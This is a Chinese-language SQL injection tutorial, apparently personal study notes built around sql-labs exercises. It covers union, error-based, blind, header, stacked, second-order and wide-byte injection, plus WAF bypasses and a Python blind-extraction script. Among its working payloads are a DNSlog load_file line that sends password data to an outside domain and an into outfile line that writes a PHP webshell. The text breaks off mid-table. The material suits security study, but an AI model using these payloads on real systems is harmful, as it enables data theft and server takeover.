这是重新整理的SQL注入基础学习内容加补课,盲注部分的自动化脚本还在修正,之后附上,参考文章:1 2 3 4 5 6
本篇一共涉及七大章节,分别为
1 定义与核心原理2 前置知识与相关概念3 漏洞发现与判断4 注入利用方式与核心手法5 绕过方法6 SQL实现RCE7 SQL注入防御1 定义与核心原理
-
是什么 攻击者通过在Web应用程序的输入端闭合原有SQL语句,并拼接恶意SQL代码,使数据库引擎将其作为合法指令执行的漏洞
-
原理 “数据”与“代码”的边界模糊。服务器端/后端未对用户输入进行严格的过滤或转义,直接将其带入数据库进行动态拼接,导致用户输入被当作SQL指令解析并执行
-
本质 平级拼接:程序直接把用户输入和 SQL 代码片段当作同等地位的字符串进行拼接,没有区分 “代码” 和 “数据”
-
闭合与拼接讲解 假设后端有这样一段PHP代码处理用户登录
$sql = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "'";我在user参数中填写:admin' #
那么经过拼接后,数据库真正接收到的执行语句变成了
SELECT * FROM users WHERE username = 'admin' #' AND password = ''实现了单引号闭合和注释符截断。这条语句的功能就变成了:查询username为admin的用户,而密码验证被完全绕过。
2 前置知识与相关概念
![[sql注入思路.png]](/_astro/sql%E6%B3%A8%E5%85%A5%E6%80%9D%E8%B7%AF.DixJWG1b_ZKgAdO.webp)
2.1 关系型数据库层级结构
数据库引擎 -> 数据库 (Database) -> 数据表 (Table) -> 字段/列 (Column) -> 具体数据行 (Row/Data)2.2 information_schema
在MySQL 5.0 及以上默认存在的系统自带库,这是一个极其关键的元数据库,它记录了整个MySQL实例中所有其他数据库的结构信息
该系统自带库有三个核心表
-
SCHEMATA表:记录了当前系统下所有的数据库信息。关键字段是
SCHEMA_NAME(数据库名),database()(可以获得使用数据库的名称) -
TABLES表:记录了所有表的信息。关键字段是
TABLE_SCHEMA(表所属的数据库名)和TABLE_NAME(表名) -
COLUMNS表:记录了所有字段的信息。关键字段是
TABLE_SCHEMA(所属库名)、TABLE_NAME(所属表名)和COLUMN_NAME(字段名)
2.3 基础编写示例
编写SQL注入语句需要搞清楚三个核心问题:1. 我要查什么(SELECT) 2. 我从哪里查(FROM) 3. 限制条件是什么(WHERE)
(1)关于库的核心表:information_schema.schemata
这张表记录了当前MySQL实例中所有的数据库信息
-
需要查询的目标字段:
schema_name,它代表各个数据库的名字。 -
作为限制条件的字段:无
-
应用场景:查询该服务器上的数据库
SELECT group_concat(schema_name) FROM information_schema.schemata(2)关于表的核心表:information_schema.tables
这张表记录了服务器上所有的数据表信息,只要是该服务器里的,不管属于哪个数据库,都在这个核心表里
-
需要查询的目标字段:
table_name,它代表表的名字。 -
作为限制条件的字段:
table_schema,它代表这个表属于哪一个数据库。由于服务器上有很多数据库,每个数据库里又有很多表,如果不加限制,就会把所有库的表都查出来。 -
应用场景:通过
database()函数已知当前网站的数据库名叫security,要查这个库里有哪些表
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'(3)关于字段的核心表:information_schema.columns
这张表记录了服务器上所有的字段信息
-
需要查询的目标字段:
column_name,它代表字段的名字。 -
作为限制条件的字段:
table_name(这个字段属于哪张表)和table_schema(这个表属于哪个库)。 -
应用场景:在上一步查到了一个名为
users的表,现在要查这个表里有哪些字段(比如是否有 username, password 字段),我会构造语句:
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema='security'
//table_schema='security',是为了防止其它数据库中也有同名的user表3 漏洞发现与判断
3.1 寻找注入点(数据交互点)
一切用户可控的输入,只要最终会被带入数据库参与拼接查询,都是需要关注的靶区
-
GET 请求参数:URL 中的查询字符串,如
?id=1、?category=news。这是最直观、最常见的注入点。 -
POST 请求参数:表单提交的数据(如登录框的用户名密码、搜索框)、JSON 数据、XML 数据。
-
HTTP 请求头(Headers):经常被忽视的注入点。很多 Web 应用会将用户的请求头信息记录到数据库日志中(如
INSERT INTO logs ...)。- 常见易损头:
User-Agent、Referer、X-Forwarded-For、Client-IP、Cookie。
- 常见易损头:
3.2 判断是否存在注入
- 测试的本质 输入特定的测试载荷(Payload),观察服务器的响应(内容变化、报错、时间延迟),以此反推后端的 SQL 拼接逻辑。
3.2.1 报错/闭合测试
最粗暴的试探。通过输入破坏 SQL 语法的符号,看数据库是否会把错误信息回显到前端页面。
-
测试符号:
'、"、\、')、'))、")、"))等。 -
判断逻辑:如果输入
'导致页面出现类似You have an error in your SQL syntax的报错,或者页面结构直接崩溃(数据不显示),说明原本的 SQL 语句被成功“截断”和破坏了,大概率存在注入。 -
特别说明:输入
\有时非常有效,它会吃掉(转义)后端代码自带的一个单引号,导致后面的语句报错,从而暴露出闭合结构。
3.2.2 逻辑/布尔测试
当页面屏蔽了数据库报错信息时,我需要通过逻辑的真假来判断代码是否被执行。
-
测试语句:
-
原链接:
?id=1(页面正常) -
构造真条件:
?id=1 and 1=1(页面正常显示 id=1 的内容) -
构造假条件:
?id=1 and 1=2(页面异常,或数据显示为空)
-
-
判断逻辑:如果
and 1=1和and 1=2的页面回显不同,说明我输入的逻辑判断代码(and ...)被数据库成功解析并执行了,确认存在注入。
3.2.3 算术运算测试
利用数据库内置的算术运算引擎来判断。
-
测试语句:
?id=2-1 -
判断逻辑:如果页面返回的是
id=1的内容,说明2-1没有被当成普通字符串,而是被数据库当作数学公式计算了,确认存在数字型注入。
3.2.4 延时测试
当页面既没有报错,也不随逻辑真假发生任何变化(即毫无回显的绝对盲打),我只能利用时间差来判断。
-
测试语句:
?id=1 and sleep(5) -
判断逻辑:如果按下回车后,网页明显的卡顿了 5 秒钟左右才加载出来,说明
sleep(5)函数被数据库执行了,确认存在时间盲注。
3.3 注入类型与闭合符判断
根据后端代码将“数据”拼接入 SQL 语句时的包裹方式不同,需要构造不同的闭合符
ps:这里说的数字型和字符型注入式最基本的闭合方式,判断出是哪种闭合方式之后,再有高级的利用方式(如报错、堆叠、盲注等)
3.3.1 数字型注入
-
后端逻辑猜想:
SELECT * FROM users WHERE id = $_GET['id'](没有任何引号包裹)。 -
特征:输入数字或数学表达式可以直接生效。
-
测试:
?id=1 and 1=1正常 (不需要任何引号闭合,也不需要注释符)。?id=1 and 1=2报错
3.3.2 字符型注入
-
后端逻辑猜想:
SELECT * FROM users WHERE username = '$_GET['user']'(数据被单引号或双引号包裹)。 -
特征:输入的数据如果带有空格或
and,会被整体当作一个字符串,无法执行。我必须先闭合前面的引号,再注释掉后面的引号。 -
测试流程:
-
加单引号闭合:
?user=admin'(破坏语法,引发报错或异常)。 -
加注释符修复语法:
?user=admin' --+(页面恢复正常)。 -
注入逻辑:
?user=admin' and 1=1 --+(验证代码执行)。
-
3.3.3 常用注释与截断符
-
--+或-- -:MySQL 中最常用的单行注释符(注意--后面必须有一个空格,URL 编码中+代表空格,或者直接用-- -防止空格被吃掉)。 -
#:MySQL 特有的注释符(在 URL 中需要编码为%23,否则会被浏览器当成锚点忽略)。 -
/* ... */:多行注释符。在绕过 WAF(Web应用防火墙)时,经常用来代替空格(如union/**/select)。
4 注入利用方式与核心手法
基于数字型和字符型两种闭合方式,对于SQL我们可以有进一步的利用,根据利用方式的不同使用方法分成五大类进行说明
有一个基础万能语句
1' or '1' = '14.1 页面反馈类
这是最基础也是最核心的分类,取决于数据库执行完毕后,前端页面能给我返回什么级别的信息
4.1.1 联合注入
页面有清晰的数据回显位(即数据库查什么,页面就显示什么)。
- 利用流程:利用
order by N猜解列数 -> 利用id=-1 union select 1,2,3寻找屏幕上的回显位 -> 将注入语句(如查库名、表名)替换到显示位上。
这里使用字符型闭合(sql-labs less-1),具体闭合方式根据实际情况判断
?id=1'order by N--+//判断表格有几列
?id=-1'union select 1,2,3--+//查看哪一位是回显位。login name-2,password-3
?id=-1'union select 1,database(),version()--+//可以看看数据库名和版本号。security;5.5.44-0ubuntu0.14.04.1
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+//爆表名——mails,referers,uagents,users
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+//把字段名爆出来——id,username,password
?id=-1'union select 1,2,group_concat(id,username,password) from users--+ //成功爆完4.1.2 报错注入
页面没有数据回显,但会直接输出数据库的错误警告信息(如
mysql_error())。
-
利用手法:故意构造畸形的 SQL 语句,利用特定函数在处理错误格式时,将其内部执行的数据作为报错信息抛出。
-
核心函数:
-
updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1):利用 XPath 格式错误报错。最大回显 32 字符。 -
extractvalue(1, concat(0x7e, (SELECT database()))):同上。 -
floor() + rand() + group by:利用虚表主键重复报错,无长度限制。
-
这里也使用字符型闭合(sql-labs less-13),具体闭合方式根据实际情况判断
1') and (extractvalue(1,concat(0x7e,version(),0x7e)))#
1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
1')and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
1')and (extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)))#updatxml函数补记
updatexml()函数 - updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:`string`格式,替换查找到的符合条件的数据
- updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误`(xpath syntax)`
- 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。4.1.3 盲注体系
页面既没有数据回显,也没有报错信息,只能通过极其微小的差异或时间延迟来推断数据。
-
布尔盲注 (Boolean-based):
-
页面在逻辑为“真”和“假”时存在细微不同(如“查询成功”与“查询为空”)。
-
利用
ascii(substr(database(),1,1)) > 100结合二分法,逐个字符猜解。
-
-
时间盲注 (Time-based):
-
页面无论真假都一模一样。只能通过响应时间判断。
-
利用
if(ascii(substr(database(),1,1))=108, sleep(5), 1)。如果页面卡顿 5 秒才加载,说明猜对了。
-
-
Between 注入(盲注 Bypass 技巧):
-
当 WAF 或代码过滤了大于号
>、小于号<或等于号=时,无法正常使用二分法。 -
替代方案:利用
BETWEEN a AND b代替范围判断。如and ascii(substr(database(),1,1)) between 100 and 105。
-
4.2 位置分类
我们最常见的是在
WHERE id = ...后面注入,但实战中注入点可能出现在 SQL 语句的其他位置
4.2.1 搜索框注入
-
场景:通常出现在后端的
LIKE模糊查询中。如SELECT * FROM news WHERE title LIKE '%$_POST['keyword']%'。 -
利用手法:必须先闭合前面的
%和引号,再注释后面的%。 -
Payload 示例:输入
%' and 1=1 and '%'=',拼接后变成LIKE '%%' and 1=1 and '%'='%'。
4.2.2 order by 注入
-
场景:出现在排序功能中,如按照价格、时间排序:
SELECT * FROM goods ORDER BY $_GET['sort']。 -
限制:
ORDER BY后面不能接UNION SELECT,常规手段失效。 -
利用手法:
-
报错法:
?sort=updatexml(1,concat(0x7e,database()),1)。 -
布尔盲注法:利用
rand()函数。?sort=rand(ascii(substr(database(),1,1))>100),根据返回结果的排序顺序不同来判断真假。
-
4.2.3 limit 注入
-
场景:出现在分页功能中:
SELECT * FROM users LIMIT 0, $_GET['num']。 -
限制:
LIMIT通常是 SQL 语句的最后一部分,后面极难拼接其他逻辑。 -
利用手法:在 MySQL 5.0.0 到 5.6.6 版本之间,可以在 LIMIT 后面跟
PROCEDURE ANALYSE()结合报错注入提取数据。更高版本通常只能依靠堆叠注入。
4.3 HTTP传参分类
不局限于GET/POST 参数,只要后端获取了HTTP 请求中的数据并入库,就会产生注入
4.3.1 Cookie 注入
-
场景:后端通过
$_COOKIE['user']获取数据并带入查询,且由于开发者盲目信任本地 Cookie,未做任何过滤。 -
利用手法:使用抓包工具(如 BurpSuite),直接在 HTTP 请求头的
Cookie: user=admin' and 1=1#中修改并发送载荷。
4.3.2 XFF 注入 (X-Forwarded-For)
-
场景:后端需要记录用户的真实 IP 地址(常见于日志记录、防刷票系统),使用
$_SERVER['HTTP_X_FORWARDED_FOR']获取并执行INSERT语句。 -
利用手法:在请求头中手动添加或修改:
X-Forwarded-For: 127.0.0.1' or sleep(5), 'xxx' #,通常结合报错注入或时间盲注。
4.4 进阶类
4.4.1 堆叠注入
-
概念:利用分号
;结束当前正在执行的 SQL 语句,并在其后紧跟另一条全新的 SQL 语句。 -
优势:不再局限于
SELECT查询,可以直接执行INSERT(添加管理员账号)、UPDATE(修改密码)、甚至DROP(删库)。 -
限制:高度依赖数据库 API 和配置(例如 PHP 的 PDO 默认禁用多语句执行,而
mysqli_multi_query则允许)。 -
Payload:
?id=1'; INSERT INTO users (user,pass) VALUES ('hacker','123') --+
4.4.2 二次注入
-
概念:一种分两步走的逻辑漏洞。恶意数据在第一次输入时被转义(安全入库),但在第二次被调用取出时,未经过滤直接拼接入新的 SQL 语句。
![[二次注入.png]](/_astro/%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5.Du42IV9m_Z1wMBYG.webp)
-
利用流程:
-
投毒:注册一个账号,用户名为
admin'#。由于后端有addslashes(),它变成了admin\'#存入数据库。 -
触发:我登录
admin'#账号,去修改密码。后端执行UPDATE users SET pass='新密码' WHERE username='admin'#'。此时,#注释了后面的单引号,我成功把真正admin的密码改掉了。
-
4.4.3 宽字节注入
-
概念:针对后端开启了单引号转义防御(如
addslashes,将'变成\')的一种字符编码绕过手法。 -
前提:
- PHP 配置中
magic_quotes_gpc = On或程序对单引号转义 - 数据库连接使用 GBK、BIG5 等多字节字符集
- 单引号
'被转义为\'(%5C%27)
- PHP 配置中
-
原理:在 GBK 等双字节字符集中,一个汉字占 2 个字节。反斜杠
\的 ASCII 码0x5C正好在某些中文字符的第二个字节范围内。 输入%df%27(%27是单引号)。后端在%27前面加上斜杠%5c进行转义,变成了%df%5c%27。由于 GBK 编码会将两个字节识别为一个汉字,它把%df%5c组合识别成了汉字“運”,导致斜杠被吃掉,单引号%27成功逃逸。
- ` %df%5C` → 運
- `%bf%5C` → 縗
- `%aa%5C` → 需验证字符集支持
- 范围:首字节 `0x81–0xFE` + 尾字节 `0x40–0xFE`(包含 `0x5C`)- Payload:
?id=1%df' and 1=1 #
-- 正常查询SELECT * FROM users WHERE id='1'
-- 转义后SELECT * FROM users WHERE id='1\''
-- 宽字节注入后SELECT * FROM users WHERE id='1運' union select 1,2,3 -- '4.4.4 中转注入
-
概念:当目标网站的注入点在非常复杂的流程中(如数据需要先 RSA 加密再提交,或者需要多步请求),Sqlmap 等自动化工具无法直接打。
-
利用手法:在本地自己写一个 Python 脚本作为“代理中转站”。Sqlmap 把最基础的 Payload 发给我的本地脚本,我的脚本将其打包、加密、组装成目标需要的复杂格式后再发给目标。
4.4.5 加密解密注入
-
概念:前端将参数(如 Base64、AES、DES)加密后发送给后端,后端解密后再进行 SQL 查询。
-
利用手法:先弄清楚加密算法(通常在前端 JS 文件中)。然后把构建好的 SQL 注入 Payload 用相同的算法加密后,再发送给服务端测试。
4.4.6 无列名注入
通常情况是columns被ban了或者information被ban了 等读取不到列名的情况。用sys的一些库可以获取表名,但是sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
- InnoDb 从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
mysql.innodb_table_statsmysql.innodb_index_stats可以用来代替information_schema.tables查表名 例如
-1' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_name='security'--+- sys 在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
schema_table_statistics_with_bufferschema_table_statisticsschema_auto_increment_columns- 设置别名来绕过列名 union可以构造一个虚拟表
select 1,2,3 union select * from users;+----+----------+------------+| 1 | 2 | 3 |+----+----------+------------+| 1 | 2 | 3 || 1 | Dumb | Dumb || 2 | Angelina | I-kill-you || 3 | Dummy | p@ssword || 4 | secure | crappy || 5 | stupid | stupidity || 6 | superman | genious || 7 | batman | mob!le || 8 | admin | admin || 9 | admin1 | admin1 || 10 | admin2 | admin2 || 11 | admin3 | admin3 || 12 | dhakkan | dumbo || 14 | admin4 | admin4 |+----+----------+------------+select 字段数要和tables数一样后面用select `3` from (select 1,2,3 union select * from users)x;x不可以省略,这是别名如果反引号被过滤了,可以设置别名 as可以省略
select b from (select 1 a,2 b,3 c union select * from users)x;- 通过assic位移无列名注入
首先可以通过类似这样的语句爆出字段数
(select 1,2,3) > (select *from teacher)
字段数相等会返回1,不相等则会报错 然后通过比较ascii大小爆数据。 脚本
import requestsimport time
def ascii_tuple_blind_injection(url, table_name, columns_count): """ 通过ASCII位移进行无列名注入 """ result = ""
# 假设我们提取第一行第一列的数据 for position in range(1, 100): # 位置从1开始 low, high = 32, 126 # ASCII范围
while low <= high: mid = (low + high) // 2
# 构造元组,假设要提取的列在第二个位置 # (1, '猜测的字符串', 3, ...) 根据列数调整 if columns_count == 2: payload = f"(1,'{result + chr(mid)}')" elif columns_count == 3: payload = f"(1,'{result + chr(mid)}',1)" # ... 根据实际列数构造
# 完整的注入payload sql = f"2||({payload}>(select * from {table_name} limit 1))"
data = {'id': sql} response = requests.post(url, data=data)
if "错误标志" in response.text: # 根据实际响应调整 # 猜测值 > 实际值,实际值在左半区 high = mid - 1 else: # 猜测值 <= 实际值,实际值在右半区 low = mid + 1
# 找到实际字符 actual_char = chr(low - 1) if low > 32 else '' if not actual_char or actual_char == chr(126): break # 结束
result += actual_char print(f"进度: {result}")
return result4.5 带外通道提取数据 (OOB)
4.5.1 Dnslog 对外注入 / 带外注入
- 概念:当遇到极致盲注环境,用布尔或延时提取数据太慢,或者服务器不出网拦截了大量 HTTP 响应时使用。
- 原理:利用数据库的外联请求能力,把数据强行通过 DNS 查询头带出来。
- 前提:以 MySQL 为例,需要当前用户有较高权限(如 root)且全局变量
secure_file_priv为空。 - 核心函数:
load_file() - Payload 示例:
?id=1' and load_file(concat('\\\\', (select password from users limit 1), '.mydnslog.cn\\abc')) --+ - 执行逻辑:数据库查询出密码后,拼接成一个包含目标数据的域名网址,并尝试去访问。我只要去我自己的 DNSLog 平台查看解析记录,就能在一秒钟内直接看到携带在子域名位置的密码数据,省去了写 Python 脚本慢慢跑盲注的时间。
4.5.2 扩读写文件
- 读文件使用
load_file()函数
select load_file("E:\\flag.txt");- 写文件使用
into outfile
select 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php";知识点补充
| 知识点 / 函数名 | 详细说明与作用 |
|---|---|
LIKE '%...%' | 数据库中的模糊查询匹配符。% 代表任意多个字符。搜索框注入必须处理这两个 % 的闭合。 |
BETWEEN a AND b | 用于选取两个值之间的数据范围(包含边界)。在注入中常用于代替被 WAF 过滤的 < 或 >。 |
PROCEDURE ANALYSE() | MySQL 的一个内置过程,用于分析查询结果并提出优化建议。它是少数可以合法放在 LIMIT 后面的语句,常用于突破 LIMIT 注入。 |
load_file() | MySQL 读取系统本地文件的函数。在注入中,除了读取密码本,还可以通过 UNC 路径语法(\\域名\路径)强制数据库向外发起 DNS 请求,实现带外数据回显。 |
addslashes() | PHP 中常用的安全防御函数。会在单引号、双引号、反斜杠前自动添加反斜杠(\)进行转义。宽字节注入和二次注入都是为了绕过它的防御。 |
| GBK 编码特性 | 一种中文字符集,采用双字节表示一个汉字。首字节范围在 0x81~0xFE 之间。这是触发宽字节注入“吃掉转义符”的根本底层原因。 |
| 带外通信 (OOB) | 不通过当前攻击的这条 HTTP 通信链路返回数据,而是让服务器通过另一条协议链路(如 DNS、SMB、HTTP)主动把数据发送到黑客控制的服务器上。 |
5 绕过方法
5.1 过滤空格
- 空格包裹
SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);- 内联注释
/**/
SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;- 符号替代
%0D Carriage Return,回车 代替空格%0A Line Feed,换行 代替空格%0C Form Feed,换页 代替空格%09 Horizontal Tab,水平制表 代替空格%0B Vertical Tab,垂直制表 代替空格%A0 Non-breaking space (MySQL only),不间断空格 代替空格- 反引号包裹变量名
SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;5.2 过滤引号
- 转义 \ 掉闭合符
-
后端逻辑:
SELECT ... WHERE id='$_GET[id]' AND passwd='$_GET[passwd]' -
Payload:
id=1\&passwd=UNION SELECT 1,2,3-- -
解析结果:
WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--'。此时,id的值变成了1' AND passwd=,而后一个单引号刚好与前面的闭合,使得UNION成功逃逸到语法层。
-
- 十六进制编码
当需要输入字符串(如
'admin')但引号被禁时,直接使用 0x 开头的十六进制代替
SELECT 0x616263; #SELECT 'abc'5.3 过滤逗号
- 联合查询 (UNION) 中的逗号替换:使用
JOIN构造多列回显。
SELECT * FROM (SELECT 1) AS a JOIN (SELECT 2) AS b JOIN (SELECT 3) AS c;#select 1,2,3;- 截取函数 (substr()、substring()、mid()) 中的逗号替换:使用
FROM ... FOR ...语法。
SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);#SUBSTRING(DATABASE(), 1, 1)
SELECT SUBSTR(DATABASE() FROM 1 FOR 1);#SELECT SUBSTR(DATABASE(), 1, 1);
SELECT MID(DATABASE() FROM 1 FOR 1);#SELECT MID(DATABASE(), 1, 1);- 分页限制 (LIMIT) 中的逗号替换:使用
OFFSET语法。
SELECT * FROM users LIMIT 1 OFFSET 0;#LIMIT 0, 1- 盲注模糊查询
SELECT DATABASE() LIKE 's%'/*等价于 SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115;
s% 是一个模式字符串,其中 % 是通配符% 表示任意数量的字符(包括零个字符)s% 匹配所有以 s 开头的字符串,不论其后有多少字符*/LIKE 支持以下通配符:
%:匹配零个或多个字符。_:匹配单个字符。
LIKE 'u%':匹配以 u 开头的所有字符串。LIKE '%123':匹配以 123 结尾的所有字符串。LIKE '_b%':匹配第二个字符是 b 的所有字符串(如 ab123、cb_test)。LIKE 't__t':匹配 t 开头、接两个字符、然后是 t 的字符串(如 test)5.4 过滤比较符
1. 过滤大于号 > 和小于号 <
可以使用 GREATEST() 和 LEAST() 函数。这两个函数分别返回给定参数列表中的最大值和最小值,且参数数量不定。通过判断返回的值是否是我的基准值,就能侧面推断出大小关系。
-
SELECT GREATEST(1, 2, 3, 4, 5);(返回 5) -
SELECT LEAST(1, 2);(返回 1) -
应用逻辑:例如要判断 ASCII 码是否大于 100,可以使用
GREATEST(ASCII(SUBSTRING(DATABASE(),1,1)), 100)。如果返回值不是 100,说明该字符的 ASCII 码必然大于 100。
2. 过滤等号 =
绕过等号的方式非常丰富,涵盖了模式匹配、正则、集合判断以及特殊比较函数。
-
LIKE / RLIKE / REGEXP 匹配代替
-
LIKE:可以代替等号,但有时遇到末尾空格等特殊情况会有“不相等还返回 1”的误差。例如:
SELECT DATABASE() LIKE 's%';。 -
REGEXP / RLIKE:
RLIKE是REGEXP的同义词,用于判断字符串是否包含符合正则规则的部分。默认是不区分大小写的。 -
结合 BINARY 区分大小写:如果需要精准区分大小写,必须在前面加上
BINARY关键字强制转换。
-
SELECT 'abc' REGEXP 'A'; -- 返回 1 (不区分大小写)SELECT BINARY 'abc' REGEXP 'A'; -- 返回 0 (严格区分大小写后不匹配)SELECT BINARY DATABASE() REGEXP '^s'; -- 判断数据库名是否以小写 s 开头-
STRCMP(str1, str2) 字符串比较函数 通过比较两个字符串的字典序来返回不同的数字结果。
-
str1 = str2-> 返回0 -
str1 < str2-> 返回-1 -
str1 > str2-> 返回1 -
应用逻辑:只要判断
STRCMP(猜测值, 真实值)的结果是否为 0,就能等效于判断它们是否相等。
-
-
IN 语法 用于判断某个值是否在指定的集合中。当集合中只放入一个目标值时,完美等效于等号判断。
-- 是 115 则返回 1,否则返回 0SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) IN (115);- BETWEEN … AND … 范围查询 原本用于判断数据是否落在某个区间内,但如果把范围的起点和终点设置成同一个值,就等效于精准匹配。
-- 落在 115 到 115 之间(即等于 115)则返回 1,否则返回 0SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) BETWEEN 115 AND 115;- <> 不等于符号逆向思维 如果
=被过滤,但<>存活,可以通过逆向逻辑判断(即利用“排除法”来确认结果)。
-- 只要不等于 115 就返回 1,反之如果是 115 则返回 0SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) <> 115;5.5 过滤逻辑运算符
and &&or ||not !xor |5.6 过滤IF
**1. 逻辑中断(短路特性)
OR/||** 这是最高效、最底层的绕过方式,利用了 MySQL 处理逻辑运算符时的“短路(Short-circuit)”特性。
-
原理:对于
OR(||)运算,只需其中一个表达式为真,整个表达式就为真。因此,程序从左到右执行时,如果前一个表达式判断为真,就会直接忽略并跳过执行后一个表达式。 -
实战应用:我可以利用这个特性,把原本写在
IF里的SLEEP()函数挂在OR的后面,达到条件判断的效果。
-- 假设 database() 为 "security",第一个字母的 ASCII 码为 115 (即 's')
-- 场景 A:条件为真。因为前一个表达式成立,MySQL 不会执行后面的 SLEEP(1)SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);
-- 场景 B:条件为假。因为前一个表达式不成立,程序必须执行后一个表达式才能确定整体的真假,从而触发了 SLEEP(1),导致页面延时SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);2. CASE WHEN...THEN...ELSE...END 结构
这是 SQL 中原生的条件控制语句,用法完全等同于大部分编程语言中的三目运算符,是
IF()函数最完美的语法级平替。
- 原理:
CASE WHEN 条件 THEN 成立时返回的结果 ELSE 不成立时返回的结果 END
-- 条件为真,返回 1SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;
-- 条件为假,返回 2SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END;
-- 结合盲注使用:如果库名长度大于5,则延时3秒,否则不延时SELECT CASE WHEN LENGTH(DATABASE())>5 THEN SLEEP(3) ELSE 1 END;3. ELT(N, str1, str2, ..., strN) 函数
这是一个非常有意思的字符串提取函数,它会从一个参数列表中返回对应位置的字符串。配合逻辑运算返回
0或1的特性,它可以在盲注中大放异彩。
-
基本原理: 假设有一张表
my_table,包含字段id和category(值为 1、2 或 3),我希望根据数值返回对应的字符串:SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing') AS category_name FROM my_table;此时,如果 category 的值为 1,就返回 ‘Electronics’;为 2,就返回 ‘Books’。 -
实战盲注应用: 在 MySQL 中,逻辑判断表达式成立会返回
1,不成立返回0。由于ELT函数的索引是从1开始的,如果条件为真(即返回1),它就会去执行参数列表里的第一个表达式。如果条件为假(返回0),它找不到第 0 个参数,就会返回 NULL,什么也不做。
-- 假设数据库名长度确实大于 3,条件为真返回 1。-- ELT 会去执行并返回列表中第 1 个参数,也就是 SLEEP(3),从而触发延时。SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));4. LOCATE(str1, str2) 函数
这个函数主要用于比较输入的两个字符串。虽然它不直接执行逻辑分支控制,但在某些禁用等于号和 IF 的极度受限环境中,可以用来验证特定字符的存在。
-
原理:第一个参数
str1是参照物(要找的子串),第二个参数str2是参照对象(母串)。该函数会判断母串中是否含有该子串:-
若不含有,则返回
0。 -
若含有,则返回该子串在母串中第一次出现的位置(大于 0 的整数)。
-
-
实战应用:可以将盲注猜解的字母作为
str1,目标数据作为str2,通过返回值是否大于 0 来判断字符是否猜对。
5.7 过滤关键字
-
1. 大小写绕过
-
策略:打破 WAF 对固定全小写或全大写单词的精确匹配。
-
形态对比:
-
union -> UnIoNselect -> sElEcT-
2. 双写绕过
-
策略:针对 WAF 仅执行一次“替换为空”的操作,利用拼接重新生成关键字。
-
形态对比:
-
union -> uniuniononselect -> selselectect-
3. 等价语法与同义词替换
-
策略:利用 SQL 语法的多样性,使用黑名单之外的等价词汇。
-
形态对比:
-
UNION SELECT -> 替换为 UNION ALL SELECT 或 UNION DISTINCT SELECTAND / OR -> 替换为 && / ||-
4. 内联注释隔离(MySQL 特性)
-
策略:利用
/*! ... */将关键字包裹。在 MySQL 中该内容会被执行,但 WAF 可能将其视为无害注释,从而拆散非法组合。 -
形态对比:
-
UNION SELECT -> 替换为 /*!UNION*/SELECTUNION SELECT -> 替换为 UNION/*!SELECT*/UNION SELECT -> 替换为 /*!50000UNION*//**//*!50000SELECT*/-
5. 特殊打断符插入
-
策略:在关键字之间插入正则规则未能覆盖的特殊符号或空白符,打断连续性特征。
-
形态对比:
-
插入普通注释:UNION/**/SELECT插入不可见字符:UNION%0ASELECT (利用换行打断)、UNION(%0B)SELECT5.8 过滤information_schema
InnoDB 引擎
在MySQL 5.6及以上
用mysql.innodb_table_stats
代替information_schema.tables
mysql> select * from mysql.innodb_table_stats;+---------------+-----------------+---------------------+--------+----------------------+--------------------------+| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |+---------------+-----------------+---------------------+--------+----------------------+--------------------------+| bookmanage | book | 2024-11-08 16:57:53 | 100 | 1 | 0 || bookmanage | person | 2024-11-08 16:57:43 | 103 | 1 | 0 || bookmanage | record | 2024-11-08 16:58:04 | 100 | 1 | 0 || mysql | component | 2024-07-29 00:04:12 | 0 | 1 | 0 || sakila | actor | 2024-07-29 00:05:44 | 200 | 1 | 1 || sakila | address | 2024-07-29 00:04:52 | 603 | 6 | 1 || sakila | category | 2024-07-29 00:04:52 | 16 | 1 | 0 || sakila | city | 2024-07-29 00:04:52 | 600 | 3 | 1 || sakila | country | 2024-07-29 00:04:52 | 109 | 1 | 0 